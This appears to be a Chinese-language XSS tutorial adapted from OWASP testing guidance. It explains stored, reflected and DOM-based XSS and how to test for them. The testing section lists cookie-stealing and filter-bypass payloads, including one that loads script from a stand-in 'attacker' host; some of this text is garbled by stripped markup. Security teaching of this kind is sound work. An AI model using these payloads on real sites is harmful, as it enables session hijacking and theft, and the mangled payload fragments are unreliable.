XSS 跨站脚本攻击

  • 什么是XSS

    ** 综述
    Cross-Site Scripting(XSS)是一类注入问题,恶意脚本被注入到健康的、可信任的网站。当一个攻击者通过一个网站应用程序,
    以浏览器端脚本的形式,给另一端的用户发送恶意代码时,XSS攻击就发生了。允许这种攻击成功的缺陷广泛存在于各个大小网站,
    只要这个网站某个页面将用户的输入包含在它生成的动态输出页面中并且未经验证或编码转义,这个缺陷就存在。
    攻击者使用XSS发送恶意脚本给一个不持怀疑态度的用户,用户端的浏览器没法知道脚本可不可信,从而执行该js脚本。因为浏览器
    认为该脚本来自于一个可信赖的网站,导致恶意脚本可以访问任何cookies信息、会话令牌、或者其他由浏览器保存的但由那个网站
    使用的敏感信息,甚至可以修改当前网页内容。
    存储型XSS:存储在数据库,是永久的,除非数据库被重置或者恶意语句被人工删除。攻击者引导用户到一个特定的页面。
    反射型XSS:恶意脚本没有存储在远端的网站应用中,需要社会工程学配合,比如通过邮件或聊天软件发送链接。主要用来窃取cookie。

    ** 跨站脚本发生在什么时候?
    - 数据通过一个不可信的源,大多数时是一个页面请求,进入网站应用。
    - 数据未经验证是否含有恶意内容,就包含在动态内容中发送给网站用户。
    发送到浏览器的恶意内容通常以一段js脚本的形式存在,但也可能是html、flash或者任何其他可能被浏览器执行的代码。基于xss的攻击是
    多样化没有限制的,常见的有传输私密数据,像cookies或其他会话信息,对攻击者而言,重定向或引诱受害者到由攻击者所控制的页面,或者
    伪装成可信赖网站,直接在用户机器上执行恶意操作。

    ** 分类
    XSS攻击通常被分为两类:存储型和反射型。还有第三类,不那么知名的,基于DOM的xss。

    -   存储型
        注入的脚本被永久的存储在了目标服务器中,比如数据库、论坛帖子、访问日志、留言评论等。受害者向服务器请求获取存储的信息时,
        就获得了这些恶意脚本。存储型XSS也被称为持久型或I-型XSS。
    
    -   反射型
        注入脚本从网站服务器被反弹回来,比如错误消息、搜索结果、或者任何其他响应(这些响应完全或部分包含了用户在浏览器输入的内容)。
        反射型攻击通过其他途径传递到受害者,比如邮件、或其他网站。当用户被引诱点击恶意链接,提交一个特别构造的表单、或浏览一个恶意
        站点,注入脚本传送到了脆弱站点并反射给用户的浏览器,浏览器认为该链接来自一个可信的服务器就执行了它。反射型XSS也称为非持久型
        或II-型XSS。
     
    -   DOM型
        DOM型XSS又称0-型xss。攻击者提交的恶意数据并未显式的包含在web服务器的响应页面中,但会被页面中的js脚本以变量的形式来访问到,
        导致浏览器在渲染页面执行js脚本的过程中,通过DOM操作执行了变量所代表的恶意脚本。这种也被归类为‘client-side xss’。
        前两类xss攻击中,服务器的响应页面中显式的包含了恶意内容,被归类为‘server-side xss’。
    

    ** 攻击后果
    无论是存储型、反射型还是DOM型,攻击后果都是相同的。不同点在于payload到达服务器的方式。不要愚蠢的认为一个只读的站点对反射型xss
    是免疫的。xss会引起一系列的问题,严重程度从噪音干扰到完全的账户危害。大多数严重的xss攻击涉及用户回话cookie泄露,允许攻击者劫持
    用户的会话从而接管账户。其他破坏性攻击包括终端用户文件泄露、特洛伊木马安装、重定向用户到其他页面或站点、或修改页面内容。xss弱点
    引起的新闻稿或新闻条目被修改会影响公司股价或削弱消费者信心。一个医药站点的xss缺陷允许攻击者修改剂量信息导致用药过量。

    ** 如何判断网站是否脆弱
    网站应用中的xss缺陷是难以识别和移除的。最好的检测和发现缺陷的方法就是进行代码的安全审计,搜索所有可能的接收用户数据输入的地方,
    并且输入的数据会显示在网站服务器响应的页面中。请注意,各种不同的HTML标签可以用来传输恶意脚本。Nessus、Nikto等工具可以帮助我们
    扫面网站的xss缺陷,但是不够周祥和深刻。如果网站某一部分是可以入侵的,那么其他问题也存在的可能性就很高。

    ** xss防御
    - 防御手册 https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
    - 自动检测dom缺陷的chrome插件 http://code.google.com/p/domsnitch/

    ** 反射型xss测试
    *** 概要
    反射型注入攻击发生在用户打开一个恶意构造的链接或第三方网页,攻击字符串包含在构造的url中或者是http参数中,web应用没有
    适当的处理并返回给受害者。
    反射型的攻击负载通过单一的请求和响应被传递和执行。如果一个网站存在xss缺陷,它会将请求中附带的参数不经验证的回传给客户端。
    这种攻击最常见的做法分两步:设计,攻击者创建和测试构造的恶意链接;社会工程学,确信受害者会通过浏览器加载这个url并最终执行。
    通常,攻击代码使用js编写,但其他语言比如action script、vb script等也会用到。攻击者可以安装键盘记录器、窃取cookies、粘贴板、
    改变页面内容(比如下载链接)。
    预防xss漏洞的主要难点之一是合适的字符编码。一些情况下,web服务器不能过滤某些字符编码,比如可以过滤‘ - http://example.com/index.php?user= - 标签属性值 " onfocus="alert(document.cookie) - 不同的语法或编码 "> "%3cscript%3ealert(document.cookie)%3c/script%3e - 非递归性过滤 ipt>alert(document.cookie) - 绕过正则过滤 模式串 $re = "/]+src/i"; 添加额外的属性,绕过 http://example/?var="%20SRC="http://attacker/xss.js"> - HTTP parameter pollution https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004) http参数污染,查询字符串或表单提交的参数中某个同名参数出现了多次,apache等web服务器解析协议参数时的方式各异, 网站应用程序的各个组件所使用的参数值不一致。 ** 存储型XSS测试 *** 概述 存储型XSS是最危险的跨站脚本攻击。网站应用程序允许用户存储数据,这类网站就潜在的暴露在这类攻击面前。 当网站应用从用户那里搜集输入的数据,然后存储起来以备后用,但这些输入没有经过正确的过滤,结果恶意数据被做为网站 页面的一部分得以呈现,并运行在用户浏览器中且拥有网站应用程序所属用户的权限。 这种漏洞可以被用来实施基于浏览器的攻击: - 劫持用户浏览器 - 捕获用户所浏览的网站敏感信息 - 对内网主机进行端口扫描 - 基于浏览器利用的定向投递 存储型xss不需要利用恶意链接,用户访问某个加载了之前存储的xss代码的页面时就会触发。攻击场景一般有下面几个阶段: - 攻击者存储恶意代码到由漏洞的页面 - 用户通过应用程序的身份认证 - 用户访问漏洞页面 - 恶意代码被用户的浏览器执行 这类攻击可以结合浏览器利用框架比如beef、xss prox、backframe。这些框架允许复杂的脚本利用开发。 当访问漏洞页面的用户有比较高的权限时,这类攻击特别危险。比如当管理员访问漏洞页面时,这类攻击就自动被浏览器执行。 这就可能暴露敏感信息比如会话令牌。 *** 如何测试 **** 黑盒测试 识别存储型漏洞的过程和之前测试反射型漏洞类似。 ***** 输入表单 第一步是找出哪些地方的用户输入会被存储到后端并会被渲染显示在前端。典型的存储用户输入的地方有: - 用户|配置,网站应用允许用户修改个人配置详细信息,比如姓名、昵称、头像、地址等; - 购物篮, - 文件管理器,应用程序允许文件上传 - 应用程序偏好设置 - 论坛|消息面板,允许用户之间互相发送消息 - 博客,允许用户留言评论 - 日志,如果网站应用将某些用户的输入存进日志 ***** 分析HTML代码 用户输入被网站应用存储后,一般会在显示时当做html标签的属性值。这一步中,最根本的是去理解输入部分被渲染显示时, 在页面上下文中是怎么被安放的。所有可能被管理员看到的输入部分都需要被测试。 比如,后台用户管理中某个用户的详细信息,有邮件: 这时,可以在标签后面注入恶意代码: MALICIOUS CODE

你可能感兴趣的:(XSS 跨站脚本攻击)